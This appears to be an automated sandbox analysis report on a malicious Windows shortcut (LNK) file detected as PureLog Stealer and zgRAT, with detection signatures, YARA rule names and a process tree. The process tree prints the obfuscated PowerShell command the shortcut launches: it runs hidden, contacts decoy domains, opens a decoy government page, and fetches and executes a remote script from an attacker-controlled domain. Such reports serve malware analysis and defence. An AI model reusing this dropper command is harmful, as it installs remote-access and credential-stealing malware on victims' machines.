Edit tour
Windows
Analysis Report
jKSjtQ8W7O.lnk
Overview
General Information
| Sample name: | jKSjtQ8W7O.lnkrenamed because original name is a hash value |
| Original sample name: | ffb1e4d9253ed97cc381826993a8812ac6c53f7a7d01793e282fc148102bdab3.lnk |
| Analysis ID: | 1522859 |
| MD5: | 154af2b280309c99ae116841e1db5474 |
| SHA1: | db66323cd296d1571b8c1816c2fbefb474112e5e |
| SHA256: | ffb1e4d9253ed97cc381826993a8812ac6c53f7a7d01793e282fc148102bdab3 |
| Tags: | lnkSideWinderuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
PureLog Stealer, zgRAT
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected PureLog Stealer
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Machine Learning detection for sample
Obfuscated command line found
Performs DNS queries to domains with low reputation
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses nslookup.exe to query domains
Uses ping.exe to check the status of other devices and networks
Windows shortcut file (LNK) contains suspicious command line arguments
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
powershell.exe (PID: 6588 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noLO G -WInDoWS T HIDDe -N oeXI -Nopr OFILE -non iNtErac -C ommaN ping www.minis tryof.gov. pk; nslook up www.Elp son.com; n slookup ww w.mproton. com; start https://p mo.gov.pk/ site/404; $did='enpo nt.xyz/'; &('i'+'r'+ 'm') http: //ministry officedown loadclouds erver.scre $did/78/|P owershell MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 6160 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
PING.EXE (PID: 3040 cmdline: "C:\Window s\system32 \PING.EXE" www.minis tryof.gov. pk MD5: 2F46799D79D22AC72C241EC0322B011D) 
nslookup.exe (PID: 3800 cmdline: "C:\Window s\system32 \nslookup. exe" www.E lpson.com MD5: F2E3950C1023ACF80765C918791999C0) - nslookup.exe (PID: 4136 cmdline:
"C:\Window s\system32 \nslookup. exe" www.m proton.com MD5: F2E3950C1023ACF80765C918791999C0) 
chrome.exe (PID: 3160 cmdline: "C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --st art-maximi zed --sing le-argumen t https:// pmo.gov.pk /site/404 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4) - chrome.exe (PID: 2644 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --mojo-pla tform-chan nel-handle =2152 --fi eld-trial- handle=189 2,i,101633 3519865710 0473,39743 9765427907 6089,26214 4 --disabl e-features =Optimizat ionGuideMo delDownloa ding,Optim izationHin ts,Optimiz ationHints Fetching,O ptimizatio nTargetPre diction /p refetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4) - powershell.exe (PID: 7656 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)
- svchost.exe (PID: 764 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| zgRAT | zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on. | No Attribution |
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_zgRAT_1 | Yara detected zgRAT | Joe Security | ||
| JoeSecurity_PureLogStealer | Yara detected PureLog Stealer | Joe Security | ||
| MALWARE_Win_zgRAT | Detects zgRAT | ditekSHen |
| |
| JoeSecurity_PureLogStealer | Yara detected PureLog Stealer | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| Click to see the 1 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_zgRAT_1 | Yara detected zgRAT | Joe Security | ||
| JoeSecurity_PureLogStealer | Yara detected PureLog Stealer | Joe Security | ||
| MALWARE_Win_zgRAT | Detects zgRAT | ditekSHen |
| |
| JoeSecurity_zgRAT_1 | Yara detected zgRAT | Joe Security | ||
| JoeSecurity_PureLogStealer | Yara detected PureLog Stealer | Joe Security | ||
| Click to see the 7 entries | ||||
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): | ||
| Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): | ||
| Source: | Author: vburov: | ||
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection | |
|---|
| Source: | ReversingLabs: | ||
| Source: | Integrated Neural Analysis Model: | ||
| Source: | Joe Sandbox ML: | ||
| Source: | HTTP Parser: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
Networking | |
|---|
| Source: | DNS query: | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | ||
| Source: | HTTP traffic detected: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | ASN Name: | ||
| Source: | ASN Name: | ||
| Source: | JA3 fingerprint: | ||
| Source: | JA3 fingerprint: | ||
| Source: | JA3 fingerprint: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
System Summary | |
|---|
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | LNK file: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Code function: | 10_2_00007FFB4ADD6E00 | |
| Source: | Code function: | 10_2_00007FFB4ADDC93B | |
| Source: | Code function: | 10_2_00007FFB4ADDCA90 | |
| Source: | Code function: | 10_2_00007FFB4ADDCA35 | |
| Source: | Code function: | 10_2_00007FFB4ADEDD80 | |
| Source: | Code function: | 10_2_00007FFB4ADFC510 | |
| Source: | Code function: | 10_2_00007FFB4ADDEDE0 | |
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Cryptographic APIs: | ||
| Source: | Cryptographic APIs: | ||
| Source: | Cryptographic APIs: | ||
| Source: | Cryptographic APIs: | ||
| Source: | Cryptographic APIs: | ||
| Source: | Cryptographic APIs: | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Mutant created: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | ReversingLabs: | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | LNK file: | ||
| Source: | LNK file: | ||
| Source: | LNK file: | ||
| Source: | LNK file: | ||
| Source: | LNK file: | ||
| Source: | LNK file: | ||
| Source: | LNK file: | ||
| Source: | Window detected: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
Data Obfuscation | |
|---|
| Source: | .Net Code: | ||
| Source: | .Net Code: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Code function: | 0_2_00007FFB4ADD5AF1 | |
| Source: | Code function: | 0_2_00007FFB4ADD796A | |
| Source: | Code function: | 0_2_00007FFB4ADD00C1 | |
| Source: | Code function: | 10_2_00007FFB4ADE0C2E | |
| Source: | Code function: | 10_2_00007FFB4ADD00C1 | |
| Source: | Code function: | 10_2_00007FFB4ADD09C6 | |
| Source: | Code function: | 10_2_00007FFB4ADD785D | |
| Source: | Code function: | 10_2_00007FFB4ADD786D | |
| Source: | Code function: | 10_2_00007FFB4B213D23 | |
| Source: | Code function: | 10_2_00007FFB4B210972 | |
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
| Source: | High entropy of concatenated method names: | ||
Persistence and Installation Behavior | |
|---|
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
